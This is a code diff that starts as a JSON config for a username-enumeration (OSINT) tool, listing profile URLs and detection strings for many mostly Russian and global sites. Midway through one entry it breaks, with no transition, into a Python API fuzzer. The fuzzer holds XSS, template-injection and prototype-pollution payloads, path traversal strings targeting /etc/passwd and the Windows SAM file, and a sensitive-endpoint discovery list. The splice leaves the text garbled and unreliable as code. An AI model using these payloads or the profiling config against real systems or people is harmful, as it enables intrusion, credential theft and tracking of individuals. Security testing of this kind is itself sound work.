+ "country_klas": "RU",
+ "exclusion": "\\W",
+ "errorTyp��": "response_url",
+ "url": "http://{}.vkrugudrusey.ru/x/blog/all/",
+ "urlMain": "http://vkrugudrusey.ru",
+ "usernameON": "irina",
+ "comments": "Archive",
+ "bad_site": 1
+ },
+ "Vlab": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "https://vlab.su/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://vlab.su",
+ "usernameON": "Sword93",
+ "bad_site": ""
+ },
+ "Vladimirka": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "http://www.vladimirka.ru/board/profile/{}",
+ "urlMain": "http://www.vladimirka.ru",
+ "usernameON": "anyazxc1",
+ "bad_site": ""
+ },
+ "Vladmama": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация |",
+ "errorTyp��": "message",
+ "url": "https://vladmama.ru/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://vladmama.ru",
+ "usernameON": "Lenok2803",
+ "bad_site": ""
+ },
+ "Vlmi": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Упс! Мы столкнулись с некоторыми проблемами. | VLMI Интернет-безопасность, обмен приватной информацией ",
+ "errorMsg2": "Полезные пользователи | VLMI Интернет-безопасность, обмен приватной информацией ",
+ "errorTyp��": "message",
+ "url": "https://vlmi.biz/members/?username={}",
+ "urlMain": "https://vlmi.biz",
+ "usernameON": "mixa",
+ "comments": "old",
+ "bad_site": 1
+ },
+ "Voices": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://www.voices.com/actors/{}",
+ "urlMain": "https://www.voices.com/",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Voicesevas": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "http://voicesevas.ru/user/{}/",
+ "urlMain": "http://voicesevas.ru",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Volga-gaz": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "http://volga-gaz.nnov.ru/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://volga-gaz.nnov.ru",
+ "usernameON": "serg6033",
+ "bad_site": ""
+ },
+ "Volkodavcaoko": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "профиль забанен или удален",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://volkodavcaoko.forum24.ru/?32-{}",
+ "urlMain": "https://volkodavcaoko.forum24.ru",
+ "usernameON": "itaka",
+ "bad_site": ""
+ },
+ "Volkswagen": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "http://volkswagen.lviv.ua/members/?username={}",
+ "urlMain": "http://volkswagen.lviv.ua",
+ "usernameON": "scirocco",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Volleybox": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "response_url",
+ "url": "https://volleybox.net/ru/user/{}",
+ "urlMain": "https://volleybox.net",
+ "usernameON": "volleyjerseys",
+ "comments": "cf",
+ "bad_site": ""
+ },
+ "Votetags": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Page not found",
+ "errorMsg2": " ",
+ "errorTyp��": "message",
+ "url": "https://www.votetags.info/author/{}/",
+ "urlMain": "https://www.votetags.info/",
+ "usernameON": "safeclothes",
+ "bad_site": ""
+ },
+ "VSCO": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://vsco.co/{}",
+ "urlMain": "https://vsco.co/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Vse": {
+ "country": "🇰🇿",
+ "country_klas": "KZ",
+ "errorMsg": "Поиск не дал результатов",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://vse.kz/index.php?app=core&module=search&do=search&andor_type=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=1",
+ "urlMain": "https://vse.kz",
+ "usernameON": "vturekhanov",
+ "comments": "old_feb_2025",
+ "bad_site": 1
+ },
+ "Vulengate": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.vulengate.com/members/?username={}",
+ "urlMain": "https://www.vulengate.com",
+ "usernameON": "dmanskits",
+ "comments": "cf",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Vulgo_rolka": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "По вашему запросу ничего не найдено",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://vulgo.rolka.me/search.php?action=search&keywords=&author={}",
+ "urlMain": "https://vulgo.rolka.me",
+ "usernameON": "tania25297",
+ "bad_site": ""
+ },
+ "Vyshyvanka": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Користувача не знайдено",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "User not found",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://vyshyvanka.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://vyshyvanka.ucoz.ru",
+ "usernameON": "Sirena",
+ "bad_site": ""
+ },
+ "Vzvd": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://vzvd.ru/forum/index.php?p=/profile/{}",
+ "urlMain": "https://vzvd.ru",
+ "usernameON": "Troll",
+ "bad_site": ""
+ },
+ "W3challs": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "404 Page not found – W3Challs Hacking Challenges ",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://w3challs.com/profile/{}",
+ "urlMain": "https://w3challs.com/",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "W3schools": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "problem",
+ "errorMsg2": "0 results",
+ "errorTyp��": "message",
+ "url": "https://w3schools.invisionzone.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://w3schools.invisionzone.com",
+ "usernameON": "DubaiSouthVillas",
+ "comments": "cf",
+ "bad_site": ""
+ },
+ "W7forums": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "The specified member cannot be found. Please enter a member's entire name.",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://www.w7forums.com/members/?username={}",
+ "urlMain": "https://www.w7forums.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Wakatime": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://wakatime.com/@{}",
+ "urlMain": "https://wakatime.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Wanelo": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "errorTyp��": "status_code",
+ "url": "https://wanelo.co/{}",
+ "urlMain": "https://wanelo.co",
+ "usernameON": "adam",
+ "comments": "old",
+ "bad_site": 1
+ },
+ "Warcraft3ft": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://warcraft3ft.clan.su/index/8-0-{}",
+ "urlMain": "https://warcraft3ft.clan.su",
+ "usernameON": "Inods",
+ "bad_site": ""
+ },
+ "Warhammercommunity": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://warhammercommunity.com/forum/members/?username={}",
+ "urlMain": "https://warhammercommunity.com",
+ "usernameON": "harleyquinn",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Warriorforum": {
+ "country": "🇦🇺",
+ "country_klas": "AU",
+ "errorTyp��": "status_code",
+ "url": "https://www.warriorforum.com/members/{}.html",
+ "urlMain": "https://www.warriorforum.com/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Wasm": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://wasm.in/members/?username={}",
+ "urlMain": "https://wasm.in",
+ "usernameON": "entropy",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Wattpad": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorMsg": "userError-404",
+ "errorMsg2": "Why do I have to complete a CAPTCHA?",
+ "errorTyp��": "message",
+ "url": "https://www.wattpad.com/user/{}",
+ "urlMain": "https://www.wattpad.com/",
+ "usernameON": "Dogstho7951",
+ "bad_site": ""
+ },
+ "Wc3": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://wc3.3dn.ru/index/8-0-{}",
+ "urlMain": "http://wc3.3dn.ru",
+ "usernameON": "Terror",
+ "bad_site": ""
+ },
+ "Weasyl": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://www.weasyl.com/~{}",
+ "urlMain": "https://www.weasyl.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Webhamster": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "По вашему запросу ничего не найдено.",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://webhamster.ru/punbb/userlist.php?username={}",
+ "urlMain": "https://webhamster.ru",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Weblancer": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "response_url",
+ "url": "https://www.weblancer.net/users/{}/",
+ "urlMain": "https://www.weblancer.net",
+ "usernameON": "alraa",
+ "bad_site": ""
+ },
+ "Webonrails": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://webonrails.ru/user/{}/",
+ "urlMain": "https://webonrails.ru",
+ "usernameON": "rediska",
+ "comments": "old",
+ "bad_site": 1
+ },
+ "WebOS": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "https://webos-forums.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=msgonly&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA",
+ "urlMain": "https://webos-forums.ru",
+ "usernameON": "tessi",
+ "bad_site": ""
+ },
+ "Weburg": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": ">К сожалению в разделе",
+ "errorMsg2": "Ê ñîæàëåíèþ â ðàçäåëå",
+ "errorMsg3": "ничего не найдено",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://weburg.net/search?where=10&search=1&q={}",
+ "urlMain": "https://weburg.net",
+ "usernameON": "adam",
+ "comments": "Oplata",
+ "bad_site": ""
+ },
+ "Weedmaps": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Find Marijuana Dispensaries, Brands, Delivery, Deals & Doctors ",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://weedmaps.com/brands/{}",
+ "urlMain": "https://weedmaps.com",
+ "usernameON": "adams",
+ "bad_site": ""
+ },
+ "Weforum": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "World Economic Forum",
+ "errorMsg2": "404: Page cannot",
+ "errorTyp��": "message",
+ "url": "https://www.weforum.org/people/{}",
+ "urlMain": "https://www.weforum.org",
+ "usernameON": "adam-leismark",
+ "headers": {
+ "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
+ "DNT": "1",
+ "Priority": "u=1",
+ "Connection": "keep-alive",
+ "Sec-Fetch-Dest": "document",
+ "Sec-Fetch-Mode": "navigate",
+ "Sec-Fetch-Site": "none",
+ "Sec-Fetch-User": "?1",
+ "Sec-GPC": "1",
+ "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF",
+ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0"
+ },
+ "bad_site": ""
+ },
+ "Wego_social": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "response_url",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://wego.social/{}",
+ "urlMain": "https://wego.social",
+ "usernameON": "CRHoman",
+ "bad_site": ""
+ },
+ "Weld": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "Сварочный Форум ",
+ "errorTyp��": "message",
+ "url": "https://weld.in.ua/forum/member.php/?username={}",
+ "urlMain": "https://weld.in.ua",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Wfts": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Ошибка: игрок не найден",
+ "errorMsg2": "Warface TrueSight | Профиль игрока не существует ",
+ "errorMsg3": "не существует",
+ "errorTyp��": "message",
+ "url": "https://wfts.su/profile/{}",
+ "urlMain": "https://wfts.su/",
+ "usernameON": "%D0%9B%D0%90%D0%A0%D0%A0%D0%9830",
+ "bad_site": ""
+ },
+ "Whitewaterguidebook": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.whitewaterguidebook.com/forums/users/{}/",
+ "urlMain": "https://www.whitewaterguidebook.com",
+ "usernameON": "justincarson",
+ "bad_site": ""
+ },
+ "Whonix": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No results found.",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "search":"{\\"posts\\":[],\\"users\\":[],\\"categories",
+ "errorTyp��": "message",
+ "url": "https://forums.whonix.org/search?expanded=true&q=%40{}",
+ "urlMain": "https://forums.whonix.org/",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Whyislam": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Не найдено",
+ "errorMsg2": "0 пользоват",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.whyislam.to/forum/memberlist.php?username={}",
+ "urlMain": "https://www.whyislam.to/",
+ "usernameON": "adam",
+ "headers": {
+ "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
+ "DNT": "1",
+ "Priority": "u=1",
+ "Connection": "keep-alive",
+ "Sec-Fetch-Dest": "document",
+ "Sec-Fetch-Mode": "navigate",
+ "Sec-Fetch-Site": "none",
+ "Sec-Fetch-User": "?1",
+ "Sec-GPC": "1",
+ "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF",
+ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0"
+ },
+ "bad_site": ""
+ },
+ "Wickeditor": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.wickeditor.com/u/{}/summary",
+ "urlMain": "https://forum.wickeditor.com",
+ "usernameON": "jayanimatic",
+ "bad_site": ""
+ },
+ "Wikidot": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "User does not exist.",
+ "errorMsg2": "Wikidot is not available in Russia",
+ "errorTyp��": "message",
+ "url": "http://www.wikidot.com/user:info/{}",
+ "urlMain": "http://www.wikidot.com/",
+ "usernameON": "blue",
+ "comments": "RUblock",
+ "bad_site": ""
+ },
+ "Wikigrib": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Энциклопедия грибов «ВикиГриб» ",
+ "errorMsg2": "pagetitle\">Ваша страница",
+ "errorTyp��": "message",
+ "url": "https://wikigrib.ru/author/{}/",
+ "urlMain": "https://wikigrib.ru",
+ "usernameON": "sergeym",
+ "bad_site": ""
+ },
+ "Wikihow": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://www.wikihow.com/Author/{}",
+ "urlMain": "https://www.wikihow.com",
+ "usernameON": "Ikaika-Cox",
+ "bad_site": ""
+ },
+ "Wikiloc": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://www.wikiloc.com/wikiloc/findPeople.do?name={}",
+ "urlMain": "https://www.wikiloc.com",
+ "usernameON": "LosK2delasKumbres",
+ "bad_site": ""
+ },
+ "Wikimapia": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "1 ",
+ "errorMsg2": "4 ",
+ "errorTyp��": "message",
+ "exclusion": "[а-яА-Я]",
+ "url": "http://wikimapia.org/user/tools/users_rating/?username={}",
+ "urlMain": "http://wikimapia.org",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Wikipedia": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "is not registered",
+ "errorMsg2": "Wikipedia does not have",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.wikipedia.org/wiki/User:{}",
+ "urlMain": "https://www.wikipedia.org/",
+ "usernameON": "Zanuda_petro",
+ "bad_site": ""
+ },
+ "Wikipediocracy": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Sorry but you cannot use",
+ "errorMsg2": "No suitable matches were found.",
+ "errorMsg3": "Information ",
+ "errorTyp��": "message",
+ "url": "https://wikipediocracy.com/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://wikipediocracy.com",
+ "usernameON": "Anroth",
+ "bad_site": ""
+ },
+ "Wikiquote": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://ru.wikiquote.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}",
+ "urlMain": "https://ru.wikiquote.org",
+ "usernameON": "Zwyciezca",
+ "bad_site": ""
+ },
+ "Wikivoyage": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://ru.wikivoyage.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}",
+ "urlMain": "https://ru.wikivoyage.org",
+ "usernameON": "Savh",
+ "bad_site": ""
+ },
+ "Wiktionary": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://ru.wiktionary.org/w/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}&action=view",
+ "urlMain": "https://ru.wiktionary.org",
+ "usernameON": "Merdiginn",
+ "bad_site": ""
+ },
+ "Wild-nature": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Наши авторы | Дикая природа в фотографиях и рассказах ",
+ "errorMsg2": "Страница не найдена",
+ "errorTyp��": "message",
+ "url": "http://www.wild-nature.ru/users/{}",
+ "urlMain": "http://www.wild-nature.ru",
+ "usernameON": "lana75",
+ "bad_site": ""
+ },
+ "Wimkin": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://wimkin.com/{}",
+ "urlMain": "https://wimkin.com",
+ "usernameON": "JRourke",
+ "bad_site": ""
+ },
+ "Windows10forums": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "url": "https://www.windows10forums.com/members/?username={}",
+ "urlMain": "https://www.windows10forums.com/",
+ "usernameON": "adam",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Windowsforum": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "url": "https://windowsforum.com/members/?username={}",
+ "urlMain": "https://windowsforum.com",
+ "usernameON": "adam",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Windy": {
+ "country": "🇨🇿",
+ "country_klas": "CZ",
+ "errorTyp��": "status_code",
+ "url": "https://community.windy.com/user/{}",
+ "urlMain": "https://windy.com/",
+ "usernameON": "blue",
+ "comments": "ZAK_user",
+ "bad_site": 1
+ },
+ "Wineberserkers": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.wineberserkers.com/u/{}/summary",
+ "urlMain": "https://www.wineberserkers.com",
+ "usernameON": "ybarselah",
+ "bad_site": ""
+ },
+ "Winnipegwatch": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "was not found.",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://winnipegwatch.websitetoolbox.com/search?keywords=&searchin=message&member={}&do=findposts&id=&replies=atleast&numreplies=0&daterange=0&custdatefrom=&custdateto=&sort=&order=desc&radio_showas=threads&btnSearch=Search&action=doSearch",
+ "urlMain": "https://winnipegwatch.websitetoolbox.com",
+ "usernameON": "Prevost12",
+ "comments": "cf",
+ "bad_site": 1
+ },
+ "Wireclub": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "response_url",
+ "url": "https://www.wireclub.com/users/{}",
+ "urlMain": "https://www.wireclub.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Wiscobourbon": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://wiscobourbon.com/forums/users/{}/",
+ "urlMain": "https://wiscobourbon.com",
+ "usernameON": "lbourbonlover123",
+ "bad_site": ""
+ },
+ "Wishlistr": {
+ "country": "🇸🇪",
+ "country_klas": "SE",
+ "errorMsg": "robots\" content=\"noindex, nofollow",
+ "errorMsg2": "Page Not Found",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.wishlistr.com/profile/{}",
+ "urlMain": "https://www.wishlistr.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Witchnest": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Domain Error Page",
+ "errorMsg2": "Страница не найдена",
+ "errorMsg3": "; ",
+ "errorTyp��": "message",
+ "url": "https://witchnest.ru/user/{}/",
+ "urlMain": "https://witchnest.ru",
+ "comments": "super",
+ "usernameON": "Polina",
+ "bad_site": ""
+ },
+ "Wittyprofiles": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "It looks like you are looking for something that isn't here.",
+ "errorMsg2": "QT Media 404 ",
+ "errorTyp��": "message",
+ "url": "http://www.wittyprofiles.com/author/{}",
+ "urlMain": "http://www.wittyprofiles.com/",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Wix": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://{}.wix.com",
+ "urlMain": "https://wix.com/",
+ "usernameON": "support",
+ "bad_site": ""
+ },
+ "Wolpy": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "ItPage not found",
+ "errorMsg2": "doesn't exist",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://wolpy.com/{}",
+ "urlMain": "https://wolpy.com",
+ "usernameON": "FaustinFavreau",
+ "bad_site": ""
+ },
+ "Wordart": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://wordart.com/gallery/user/{}",
+ "urlMain": "https://wordart.com",
+ "usernameON": "Jarmiviktoria",
+ "bad_site": ""
+ },
+ "WordPress": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "response_url",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://{}.wordpress.com/",
+ "urlMain": "https://wordpress.com",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "WordPressOrg": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://profiles.wordpress.org/{}/",
+ "urlMain": "https://wordpress.org/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Worldofwarcraft_blizzard": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "Error 404",
+ "errorMsg2": "WoW ", "'\"> ",
+ "javascript:alert(1)", "", "{{7*7}}",
+ "${7*7}", "<%=7*7%>", "{{constructor.constructor('return 1')()}}",
+]
+
+TYPE_CONFUSION = [
+ None, True, False, 0, -1, 2147483647, -2147483648,
+ 99999999999999, 0.1, -0.1, float('inf'),
+ "", " ", "null", "undefined", "NaN", "true", "false",
+ [], {}, [None], {"__proto__": {}},
+ "A" * 1000, "A" * 10000,
+]
+
+TRAVERSAL_PAYLOADS = [
+ "../../../etc/passwd", "..\\..\\..\\windows\\system32\\config\\sam",
+ "....//....//....//etc/passwd", "%2e%2e%2f%2e%2e%2f",
+ "/etc/passwd%00", "..%252f..%252f",
+]
+
+COMMON_ENDPOINTS = [
+ '/api', '/api/v1', '/api/v2', '/api/v3',
+ '/api/users', '/api/admin', '/api/login', '/api/auth',
+ '/api/config', '/api/settings', '/api/debug', '/api/health',
+ '/api/status', '/api/info', '/api/version', '/api/docs',
+ '/api/swagger', '/api/graphql', '/api/internal',
+ '/swagger.json', '/swagger-ui', '/openapi.json',
+ '/api/tokens', '/api/keys', '/api/secrets',
+ '/api/upload', '/api/download', '/api/export', '/api/import',
+ '/api/search', '/api/query', '/api/execute', '/api/run',
+ '/graphql', '/graphiql', '/playground',
+ '/.well-known/openid-configuration',
+ '/api/password/reset', '/api/register', '/api/verify',
+ '/api/webhook', '/api/callback', '/api/notify',
+ '/actuator', '/actuator/health', '/actuator/env',
+ '/metrics', '/prometheus', '/_debug', '/__debug__',
+]
+
+
+# ── API Fuzzer Engine ────────────────────────────────────────────────────────
+
+class APIFuzzer:
+ """REST & GraphQL API security testing."""
+
+ def __init__(self):
+ self.data_dir = os.path.join(get_data_dir(), 'api_fuzzer')
+ os.makedirs(self.data_dir, exist_ok=True)
+ self.session = requests.Session() if HAS_REQUESTS else None
+ self.results: List[Dict] = []
+ self._jobs: Dict[str, Dict] = {}
+
+ def set_auth(self, auth_type: str, value: str, header_name: str = 'Authorization'):
+ """Configure authentication for requests."""
+ if not self.session:
+ return
+ if auth_type == 'bearer':
+ self.session.headers[header_name] = f'Bearer {value}'
+ elif auth_type == 'api_key':
+ self.session.headers[header_name] = value
+ elif auth_type == 'basic':
+ parts = value.split(':', 1)
+ if len(parts) == 2:
+ self.session.auth = (parts[0], parts[1])
+ elif auth_type == 'cookie':
+ self.session.cookies.set('session', value)
+ elif auth_type == 'custom':
+ self.session.headers[header_name] = value
+
+ def clear_auth(self):
+ """Clear authentication."""
+ if self.session:
+ self.session.headers.pop('Authorization', None)
+ self.session.auth = None
+ self.session.cookies.clear()
+
+ # ── Endpoint Discovery ───────────────────────────────────────────────
+
+ def discover_endpoints(self, base_url: str, custom_paths: List[str] = None,
+ threads: int = 10) -> str:
+ """Discover API endpoints. Returns job_id."""
+ job_id = f'discover_{int(time.time())}'
+ self._jobs[job_id] = {
+ 'type': 'discover', 'status': 'running',
+ 'found': [], 'checked': 0, 'total': 0
+ }
+
+ def _discover():
+ paths = COMMON_ENDPOINTS + (custom_paths or [])
+ self._jobs[job_id]['total'] = len(paths)
+ found = []
+
+ def check_path(path):
+ try:
+ url = urljoin(base_url.rstrip('/') + '/', path.lstrip('/'))
+ resp = self.session.get(url, timeout=5, allow_redirects=False)
+ self._jobs[job_id]['checked'] += 1
+
+ if resp.status_code < 404:
+ entry = {
+ 'path': path,
+ 'url': url,
+ 'status': resp.status_code,
+ 'content_type': resp.headers.get('content-type', ''),
+ 'size': len(resp.content),
+ 'methods': []
+ }
+
